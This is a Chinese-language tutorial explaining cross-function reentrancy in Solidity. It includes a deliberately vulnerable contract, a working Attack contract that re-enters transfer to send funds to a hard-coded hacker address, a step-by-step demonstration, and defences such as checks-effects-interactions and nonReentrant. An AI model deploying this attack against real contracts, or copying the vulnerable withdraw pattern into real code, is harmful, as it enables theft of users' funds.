跨函数重入攻击
概述
跨函数重入攻击是更复杂的一种重入攻击方式,通常出现此问题的原因是多个函数相互共享同一状态变量,并且其中一些函数不安全地更新该变量。这种漏洞允许攻击者在一个函数执行期间通过另一个函数重新进入合约,操作尚未更新的状态数据。
漏洞示例
以下智能合约包含如下三个函数:deposit、 transfer和 withdraw,分别用于存储资产、转账以及提取资产,并使用 balances 这一状态变量来追踪用户余额。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Vulnerable {
mapping (address => uint) public balances;
function deposit() public payable {
balances[msg.sender] = msg.value;
}
function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() public {
uint amount = balances[msg.sender];
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0;
}
}
漏洞分析:在 withdraw 函数中用户可以提取 ETH,通过 call 低代码调用转账给用户,此时执行流转移到用户合约。如果用户合约是一个恶意合约,它可以在默认的 receive 函数中再次调用 transfer 函数,并将资产转移到指定地址中(本节我们演示跨函数回调,因此调用 transfer 函数,而非 withdraw 函数)。
下面我们看下攻击合约是什么样的:
contract Attack {
Vulnerable target;
address hacker_addr = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
uint amount;
constructor(address _target) {
target = Vulnerable(_target);
}
function attack() public payable {
amount = msg.value;
target.deposit{value: msg.value}();
target.withdraw();
}
receive() external payable {
// 跨函数重入
target.transfer(hacker_addr, amount);
}
}
●attack 函数是个普通的函数,该函数接收 ETH 并调用 deposit 函数将资产存储到 Vulnerable 合约中,紧接着就调用 withdraw 函数提取出了资金,一切看起来是正常的。
●receive 函数在合约收到 ETH 资产时开始执行,这里它又重新发起了对 Vulnerable 合约中 transfer 函数的调用,将资产转移到指定地址 hacker_addr。
攻击演示
1.使用账户 Alice(0x5B3…dC4) 部署合约 Vulnerable,并调用 deposit 函数往合约中存入 10 ETH 的资产。
2.攻击者 Bob(0xAb8…cb2) 部署 Attack 合约,构造函数中传入上一个合约的地址。
3.攻击者 Bob(0xAb8…cb2) 调用 attack 函数,传入 1 ETH 发起攻击。
4.由于 Attack 合约存储了 1 ETH 后又立即取出,因此它的余额为 1 ETH,但是调用 Vulnerable 合约的 balances 函数会发现,攻击者 Bob(0xAb8…cb2) 的余额也为 1 ETH,凭空多了 1 ETH,而这多出来的资产正是 transfer 函数所转入的。通过重复操作或者修改存储金额,就可以把 Vulnerable 合约中的资产全部转移到 hacker_addr 地址中!
防范措施
为防止跨函数重入性攻击,推荐的做法是在进行所有关键状态更新之后再进行外部调用(上节讲解的 CEI 模式)。此外,使用像 OpenZeppelin 的nonReentrant修饰符也能有效防止此类问题,但是需要在多个函数上增加 nonReentrant 修饰符,以确保没有其他函数可以在当前函数执行完毕前重新进入该函数,它通过检查一个共享的存储值来判断函数是否已被调用。
结论
智能合约开发中防止重入攻击是一个重要的安全考虑。跨函数重入攻击展示了即使修复了单个函数的重入漏洞,也可能因多个函数共享状态而导致安全问题。因此,合约的设计与实现都应采取谨慎的编程实践,确保合约的安全性。